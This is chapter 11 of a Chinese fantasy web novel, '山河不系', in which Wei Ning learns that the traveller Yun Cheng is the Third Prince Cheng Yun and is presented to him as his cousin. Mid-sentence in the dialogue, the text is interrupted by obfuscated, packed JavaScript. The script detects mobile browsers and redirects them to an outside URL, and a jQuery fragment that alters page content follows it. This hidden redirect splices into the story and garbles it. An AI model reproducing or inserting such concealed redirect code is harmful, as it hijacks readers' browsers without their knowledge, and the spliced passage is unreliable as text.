11. 认亲
作品:《山河不系》 甫一进城,卫宁便火眼金睛地在此前不忧带她去过的茶棚中精准地捕捉到了景怜光的身影,当街大喊:“景怜光!”
景怜光总能出现在每一个意想不到的地方,一定要好好探查她一番。
景怜光被一口茶水呛到,下意识想遁走,回头瞥了一眼,发现卫宁居然同程昀一道,顿时被这两个祖宗的目光盯在原地,薅都薅不动。
卫宁抓住景怜光的手转头就要走,却被云丞抬手拦下了。
“止步城到了,救命之恩而已,阁下不必如此客气,我还有急事。”卫宁摆摆手,只想赶紧拉着景怜光走。
“不知姑娘要带怜光去何处?”云丞问。
卫宁一愣,回头问景怜光:“你们认识?”
景怜光顺利地被圈进所有人的目光中,有些僵硬地点头。
卫宁面无表情地胡扯,“我有十万火急,非你不可的事找你。”
景怜光瞧着卫宁和程昀的脸色,都不像是能放她走的意思,她只恨自己为何没第一时间开溜!
正当姜珩预备出言相劝时,姜滢带着一小队人马赶到。
“母亲。”姜珩见着姜滢感叹救星到了。
姜滢还未来得及行礼,被云丞一把拦下,“此行保密,大人无须多礼。”
姜滢拱手,“公子此行辛劳,恕臣安顿不周。”
“无妨。”云丞摆手。
姜滢瞥见卫宁偷偷摸摸想拉着景怜光走,被姜珩拦下了,不禁有些伤脑筋,这俩人怎么碰上了?
“不如先去府上稍作歇息如何?”姜滢清了清嗓子,盘算着该如何将他们分开。
“有劳。”云丞说着,眼神直盯着景怜光,大有一种你敢跑,我就扒了你的皮的意思。
景怜光谁都得罪不起,正愁没人帮忙,这下她可以找机会开溜了。
卫宁以防万一,拔走了她头上的一根不起眼的银簪方便有事找她。
景怜光心说不好,“这个不行,换一根!”
卫宁无所谓,只要是她的东西就行。
“你们什么关系?你似乎对他有所忌惮。”卫宁戳戳她的手臂。
景怜光腹诽,你倒是不怕,“你们又是如何结识的?”
“凑巧住了同一个驿馆,他被三族人埋伏,我们帮了点忙,被我拆穿之后还想刀剑相向来着。”卫宁解释。
“出门在外,和气生财,应当。”景怜光赞同。
卫宁问:“他是谁?”
景怜光沉吟,思索半晌,仿佛痛下决心,伸出一根手指,“一千两,我告诉你。”
卫宁面无表情扭头就走。
景怜光一把拉住她,“别走啊,还能商量,或者再给我一盏灯也行。”
卫宁一声冷笑,扒开她的手,“我自己问。”
景怜光见她走了,心下松了口气,可以专心应付另外一位祖宗了。
果不其然,卫宁一走,立马有侍卫来传唤,景怜光不情愿地跟过去。
云丞坐在亭子里,一手拎着杯盖,时不时轻敲杯身。
尽管时间仓促,他还是抽了空沐浴更衣,换上一身暗黄色衣袍,梳洗过后,每一根头发丝都排列分明,同方才邋里邋遢的乞丐装相比简直是换了个人。
“景怜光参见三殿下。”景怜光行礼,四下侍卫悄然而退。
两人均不开口,一个视线直盯着地面,一个把玩着手中的茶盏,像是两个陌路人,仿佛谁先开口谁便输了。
好半晌,云丞抬手,“你同卫宁似乎关系不错。”
“不过是卫姑娘待人率真罢了。”景怜光始终低着头。
“抬起头来。”云丞说。
景怜光抬起头,眸中平淡,似乎不愿再多看他一眼。
云丞脸色一变,挥手将茶盏摔了一地,“你以为我不知道她的身份吗!”
景怜光不言语,仿佛与她无关。
“你又瘦了。”云丞语气柔和,仿佛方才发火的是他的孪生兄弟。
“劳三殿下挂心。”景怜光神色自若。
“你以为你找到她就能帮你了?”云丞讥笑。
景怜光心下无语,“不知殿下是何意?”
“那你便好好反省吧。”云丞一副恨铁不成钢的样子,拂袖而去。
景怜光学着卫宁翻了个白眼也走了。
卫宁放过了景怜光,又赖上了姜珩,挡住他的去路追问:“云丞是谁?”
“我也不知。”姜珩头大,只想瞒过卫宁。
“那人神神秘秘的,到底是谁?”卫宁不死心,姜珩撒谎的技巧太拙劣。
姜珩不为所动,坚定地摇头。
卫宁轻飘飘地转身,“那我便自己去问,他还欠着我的救命之恩呢。”
姜珩一听,立马拦下她,神情严肃,“这可不是闹着玩的。”
“你们不说我也大概猜到了,我这就提刀去捅死他!”卫宁一改神色,怒气冲冲从芥子袋里拔出骨刀。
刀剑无眼,姜珩一看她的架势就不像开玩笑,立马横在她身前。
“卫宁,不要冲动!”
“让开!”卫宁凶巴巴地吼他。
姜珩继续劝导,“凡事都是可以商量的。”
“我叫你让开!”卫宁拔高了音量。
“卫宁!”姜珩一个头两个大,怎么就突然要杀人了。
“让开,你打不过我。”卫宁将骨刀调换了方向,横在胸前。
“你听我说……”
卫宁不想听他说了,丝毫不含糊,一挥骨刀劈过来,要不是姜珩躲得快,那棵被劈成两半的树就是自己了。
“卫宁住手!”姜滢大喊,她听见打斗声,急冲冲地赶过来,看到姜珩落了下风,卫宁一刀砍向他。
卫宁这才放下刀。
“你们这般所为何事?”姜滢神情严肃问姜珩。
“母亲无事,我想同卫宁切磋武艺。”姜珩不想节外生枝。
“是我先打他的!”卫宁别的不说,敢做敢当第一人。
“切磋就切磋,怎么还下死手了,究竟所为何事?”姜滢心下舒了口气。
“他们一个两个的非不告诉我云丞的身份,我自己猜出来了还要拦着我,这不是找打?”卫宁嘴上不饶人,倒是把刀收进去了。
姜滢问:“你预备如何?”
“我本就不打算如何,好歹是沾亲带故一场,怎么着也要先叙叙旧,不过是见他们一个两个都如此敷衍才生气的。”卫宁一五一十地说了。
姜珩在一旁心下无奈,倒是自己关心则乱了。
“既如此,你便随我来吧,去见见你那素未谋面的表兄。”姜滢笑着说,又不禁担忧,这两祖宗要是在她的地盘掐起来就头疼了。
卫宁见景怜光迎面走来,一把将她钳住,“去哪?”
“回去休息啊。”景怜光打了个哈欠,疑惑着,仿佛赶路的只有她自己,他们都是骡子转世,不会累的吗?
“别睡了,带你去见皇子。”卫宁一脸高深莫测的样子。
景怜光一听就更想走了,奈何卫宁一双爪子如钩,她脱不开身,“皇子有什么好看的,又不会给我银票。”
“不管,你就得陪我去。”卫宁不管不顾,将景怜光牢牢锁住。“我还有好多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082358|195342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事要问你呢,万一你跑了怎么办?”
景怜光抿嘴,小姑娘学聪明了,此刻只恨自己不能化作一只苍蝇讨人嫌地遁走。
卫宁再见云丞,看清他的长相之后惊觉,不是她讨厌邋遢,而是这张脸她看了就觉得莫名其妙地讨厌,连带着也没什么好脸色给他。
众人行礼时,卫宁鹤立鸡群笔直立在原地,直勾勾地盯着云丞,试图用眼神震慑对方。
“止步城一事我已飞鸽传书禀明父皇,姜大人不必忧心了。”程昀不甚在意。
“多谢殿下。”姜滢更糊涂了,一家子跟着谢礼。
卫宁不解,这是放过冯德林了?她瞥了一眼景怜光,景怜光耸耸肩。
“皇家规矩森严,表妹自小在山野间长大,不识礼数不打紧,若进了宫里还如此,只怕是要掉脑袋了。”程昀打量着眼前这位还有几份骨气的山野亲戚,一段挑拨人心的预言罢了,小丫头能掀起什么浪来?
程昀轻飘飘的一句话让在场所有人都紧张起来了。
姜滢冷汗直冒,进宫?这是皇上的意思还是眼前这位殿下的意思?
姜珩紧了紧拳头,这是何意?是要放过卫宁吗?
景怜光最是淡定,闲来无事还给卫宁递了个眼神,试图巴结她。
苟富贵,勿相忘!
卫宁想了想,到底是没看懂她的意思,一双大眼睛瞪回来,咱俩的事还没完呢,待会儿再找你算账。
“听说皇宫的墙面地板都是玉石堆砌的,我倒是挺想去开开眼的。”卫宁一点没觉得害怕,有人想让她死,总归也有人想让她活,末了,又想起来礼数,不甚熟练地喊了声:“表兄”。
不知正牌表兄怎么想,姜珩和景怜光倒是都起了一身鸡皮疙瘩,太别扭了,就像野鸡长鹅毛,孔雀变乌鸦一样别扭。
饶是程昀见多识广的,此刻也要被逗笑了,“表兄自然照顾你。”
“那便先谢过表兄了。”卫宁嘴上道谢,身体却实诚得不知行礼,“还不知表兄名讳,如何称呼?”
“卫宁未曾在人族中行走,不通人情理法,不知探问皇子名讳乃是大过,望殿下恕罪。”姜滢立马跪下,这都是什么破事!
姜珩也跟着跪下。
卫宁疑惑,用眼神无声地询问景怜光,问个名字还这么多事?
景怜光挑眉,这下你知道了吧。
程昀见这两人眉来眼去,属实看得眼睛疼,一拂袖,“无妨,你们都下去吧。”
卫宁不服气,想开口分辩,被景怜光一把扯出门去,“不就是名字吗,我告诉你,他本名叫程昀,出门在外喜欢用化名云丞,是当今三皇子,大皇子早夭,陛下子嗣不多,还有四公主、五公主、太子,程昀历来不受宠,听说陛下不喜欢他的生母,所以连带他也不被陛下待见。”
“不都是亲生的吗,怎么还分高低贵贱了?”卫宁心想,人族果真虚伪。
姜珩跟在后面听她们聊天冷汗直冒,怎敢直呼皇子的名讳?还在背后妄议皇家之事。想到卫宁往后会经常同他们打交道,他忍不住开口提醒,“虽说妖族率性放纵,可你们好歹都生活在人堆里,这样的话以后切莫再提起了。”
卫宁和景怜光一同转过身来,见他一脸严肃,胡乱点头又转过身继续议论纷纷。
姜珩只觉心累,瞧她俩那样压根儿没把他说的话放在心上,他似乎已经听到自己脑袋上的白头发滋滋往外冒的声音了。
卫宁抬手揽上景怜光的肩膀,发现她的黑发里掺杂着白发,“你怎么这么多白发?”
景怜光不甚在意,将头发捋了捋,“卜邑族的传统。”

